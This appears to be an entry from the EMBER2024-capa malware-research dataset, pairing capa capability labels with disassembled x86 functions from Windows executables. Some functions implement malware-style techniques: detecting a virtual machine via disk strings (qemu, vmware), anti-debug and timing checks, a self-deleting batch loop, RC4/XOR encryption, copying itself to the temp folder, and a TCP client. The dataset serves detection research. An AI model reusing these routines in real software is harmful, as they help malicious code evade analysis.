joyce8/EMBER2024-capa huggingface dataset:
Function at 0x478010
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x478043
push esi
call fcn.004863d0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x47803c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x4780c9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x4780b2
mov eax, dword [esi + 8]
test eax, eax
je 0x478067
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x4780ae
cmp eax, 2
je 0x4780b2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x47805a
cmp eax, 3
je 0x47808d
cmp eax, 1
jne 0x47805a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x47805a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x47805a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.004780f0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x4780d8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.004780f0
add esp, 4
pop esi
ret

Function at 0x478970
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x478991
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x478991
mov eax, dword [eax + 0x44]
test eax, eax
je 0x478991
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x494a10
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x494a76
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x494a76
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x494a57
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x494e00
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x494e38
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x495ac0
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x495b09
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x495f80
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4d33a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00495b30
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00495bb0
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00495bb0
lea ecx, [esi + 0xc]
call fcn.004c459f
lea ecx, [esi + 0x10]
call fcn.004c459f
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.00497140
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.00497140
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.00497140
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.004c4614
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.004c4614
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x498520
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + str.80_]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x54cc3c]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x498533
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x498574
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x54cce4]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x4985a6
mov bl, byte [esp + ecx + 0x4c]
jmp 0x4985aa
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x49859b
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x4985c8
mov bl, byte [esp + ecx + 0x4c]
jmp 0x4985cc
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x4985bd
xor ecx, ecx
mov eax, 0x54cc4c
xor ebx, ebx
mov bl, byte [ecx + 0x54ccf4]
cmp byte [esp + ebx + 0x14], 0
je 0x4985f7
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x54cd0c]
cmp byte [esp + ebx + 0x14], 0
je 0x49860e
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, str.80_
jl 0x4985de
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x498567
lea edx, [esp + 0x84]
push edx
call fcn.00498650
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x49dcd0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x587bf4]
xor edx, edx
cmp eax, edx
jne 0x49dcf6
xor eax, eax
mov byte [eax + 0x587af4], al
inc eax
cmp eax, 0x100
jl 0x49dcde
mov dword [0x587bf4], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x587af4
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x49dd87
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x49dd5a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x49dd28
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x49dd90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x49dde3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x49ddca
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4a4780
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4d37be
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.004a50a0
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x530d24
call fcn.004c4355
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x4a4813
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.004c4355
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x4a480c
push 0
mov ecx, eax
call fcn.0049b910
mov dword [esi + 0xc], eax
jmp 0x4a4815
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x4a4815
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x4c69e2
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4c6a1a
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004c4a6f
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004c4a47
jmp 0x4c6a26
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4c80d4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4c8116
call fcn.004cde48
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4c8116
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4c810d
xor eax, eax
jmp 0x4c811e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004c8124
pop edi
pop esi
pop ebx
ret 4

Function at 0x4ce378
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4ce3a6
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4ce3c4
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004ce2de
jmp 0x4ce3c4
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4ce3c4
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004ce2de
test edi, edi
mov eax, edi
jne 0x4ce3ae
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401000
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
mov dword [ebp - 0x14], str.qemu
mov dword [ebp - 0x10], str.virtual
mov dword [ebp - 0xc], str.vmware
mov dword [ebp - 8], 0x406234
mov dword [ebp - 4], 0
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x124], 0
push 0
push 0
push 3
push 0
push 3
push 0
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0xffffffff
je 0x401201
mov dword [ebp - 0x138], 0
push 0xc
push 0
lea eax, [ebp - 0x134]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x134], 0
push 0x80
push 0
lea ecx, [ebp - 0x98]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x80
push 0
lea edx, [ebp - 0x120]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
lea eax, [ebp - 0x138]
push eax
push 0x80
lea ecx, [ebp - 0x98]
push ecx
push 0xc
lea edx, [ebp - 0x134]
push edx
push 0x2d1400
mov eax, dword [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x4011f4
lea ecx, [ebp - 0x98]
mov dword [ebp - 0x13c], ecx
mov edx, dword [ebp - 0x13c]
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x140], 0
mov ecx, dword [ebp - 0x144]
mov dword [ebp - 0x148], ecx
jmp 0x401141
mov edx, dword [ebp - 0x148]
add edx, 1
mov dword [ebp - 0x148], edx
mov eax, dword [ebp - 0x148]
movsx ecx, byte [ebp + eax - 0x98]
test ecx, ecx
je 0x40117e
mov edx, dword [ebp - 0x140]
mov eax, dword [ebp - 0x148]
mov cl, byte [ebp + eax - 0x98]
mov byte [ebp + edx - 0x120], cl
mov edx, dword [ebp - 0x140]
add edx, 1
mov dword [ebp - 0x140], edx
jmp 0x401132
lea eax, [ebp - 0x120]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.USER32.dll_CharLowerBuffA]
mov dword [ebp - 0x14c], 0
jmp 0x4011b6
mov edx, dword [ebp - 0x14c]
add edx, 1
mov dword [ebp - 0x14c], edx
cmp dword [ebp - 0x14c], 4
jae 0x4011f4
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp + eax*4 - 0x14]
movsx edx, byte [ecx]
test edx, edx
je 0x4011f2
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp + eax*4 - 0x14]
push ecx
lea edx, [ebp - 0x120]
push edx
call fcn.00401210
add esp, 8
test eax, eax
je 0x4011f2
mov al, 1
jmp 0x401203
jmp 0x4011a7
mov eax, dword [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x402ec0
Capabilities:
Copy file
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push 0x64
push 0
push 0x409910
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x409910
push 0x64
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xa
call fcn.004038c0
add esp, 4
push eax
push 0x409910
call sub.MSVCRT.dll_strcat
add esp, 8
push 0
push 0x409910
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402fd4
push 0x80
push 0x409910
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x4068ec
push 0x409910
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x402fd4
mov dword [ebp - 0x110], 0
jmp 0x402f91
mov eax, dword [ebp - 0x110]
add eax, 1
mov dword [ebp - 0x110], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1f4
idiv ecx
add edx, 0x64
cmp dword [ebp - 0x110], edx
jge 0x402fc5
push 0xa
call fcn.004038c0
add esp, 4
push eax
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 8
jmp 0x402f82
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fclose
add esp, 4
mov eax, 0x409910
mov esp, ebp
pop ebp
ret
Function at 0x403310
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x400
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4033ab
mov edi, dword [ebp - 4]
xor ecx, ecx
push ecx
mov eax, ecx
mov ecx, 8
mov edx, eax
and edx, 1
jne 0x403347
shr eax, 1
jmp 0x40334e
shr eax, 1
xor eax, 0xedb88320
loop 0x40333c
stosd dword es:[edi], eax
pop ecx
inc ecx
cmp ecx, 0x100
jb 0x403334
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
xor ecx, ecx
mov ebx, 0xffffffff
push ecx
xor eax, eax
lodsb al, byte [esi]
mov edx, ebx
shr ebx, 8
push ebx
xchg ebx, edx
and ebx, 0xff
xor ebx, eax
xchg ebx, eax
mov ecx, 4
mul ecx
xchg ebx, eax
mov eax, dword [ebp - 4]
add eax, ebx
mov eax, dword [eax]
pop ebx
xor eax, ebx
mov ebx, eax
pop ecx
inc ecx
cmp ecx, edi
jb 0x403368
not eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 8]
jmp 0x4033ad
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403840
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push eax
call fcn.00404110
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403860
or eax, 0xffffffff
jmp 0x4038bb
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x14], ecx
mov edx, 2
mov word [ebp - 0x18], dx
movzx eax, word [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x16], ax
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40389a
mov eax, 0xfffffffe
jmp 0x4038bb
push 0x10
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4038b8
mov eax, 0xfffffffd
jmp 0x4038bb
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x403a30
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push 0x44
push 0
lea eax, [ebp - 0x58]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x10]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x58], 0x44
mov dword [ebp - 0x2c], 1
mov edx, 5
mov word [ebp - 0x28], dx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x58]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esp, ebp
pop ebp
ret

Function at 0x403c80
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x218]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea edx, [ebp - 0x108]
push edx
push str._appdata_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x108]
push eax
push str._swinmgr.txt
push 0x104
lea ecx, [ebp - 0x218]
push ecx
call sub.MSVCRT.dll__snprintf
add esp, 0x10
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0xffffffff
je 0x403d24
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x403d28
xor al, al
jmp 0x403d37
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x403d40
Capabilities:
Create process on windows
Get common file path
Self delete
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
add esp, 4
push 0x104
push 0
lea eax, [ebp - 0x218]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x110]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea edx, [ebp - 0x218]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x110]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xa
call fcn.004038c0
add esp, 4
push eax
lea ecx, [ebp - 0x110]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
push str..bat
lea edx, [ebp - 0x110]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x406960
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x403e8a
push 0x80
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.:repeat_n
mov edx, dword [ebp - 4]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 8
lea eax, [ebp - 0x218]
push eax
push 0x406970
mov ecx, dword [ebp - 4]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
lea edx, [ebp - 0x218]
push edx
push str.if_exist___s__goto_repeat_n
mov eax, dword [ebp - 4]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 0xc
lea ecx, [ebp - 0x110]
push ecx
push str.del___s__n
mov edx, dword [ebp - 4]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
mov eax, dword [ebp - 4]
push eax
call sub.MSVCRT.dll_fclose
add esp, 4
push 0
push 0
push 0
lea ecx, [ebp - 0x110]
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret

Function at 0x403e90
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x108]
push ecx
push 0
push 0
push 0x802a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push str._x86_
lea edx, [ebp - 0x108]
push edx
call fcn.00401210
add esp, 8
test eax, eax
je 0x403ee3
mov al, 1
jmp 0x403ee5
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x403ef0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x14
push 0
lea eax, [ebp - 0x14]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x14
push 0
push 0x409974
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.00403c80
movzx ecx, al
test ecx, ecx
je 0x403f35
push 0x4069b4
push 0x409974
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x4069b8
push 0x409974
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x14
lea edx, [ebp - 0x14]
push edx
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
je 0x403f71
lea eax, [ebp - 0x14]
push eax
push 0x409974
call sub.MSVCRT.dll_strcat
add esp, 8
jmp 0x403f83
push 0x4069bc
push 0x409974
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x4069c0
push 0x409974
call sub.MSVCRT.dll_strcat
add esp, 8
push 8
call fcn.004038c0
add esp, 4
push eax
push 0x409974
call sub.MSVCRT.dll_strcat
add esp, 8
mov eax, 0x409974
mov esp, ebp
pop ebp
ret

Function at 0x4040b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 8], eax
cmp dword [ebp + 0x10], 0
je 0x4040f6
push 0xffffffffffffffff
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4040fe
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x404110
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40414f
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x404142
xor eax, eax
jmp 0x404152
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret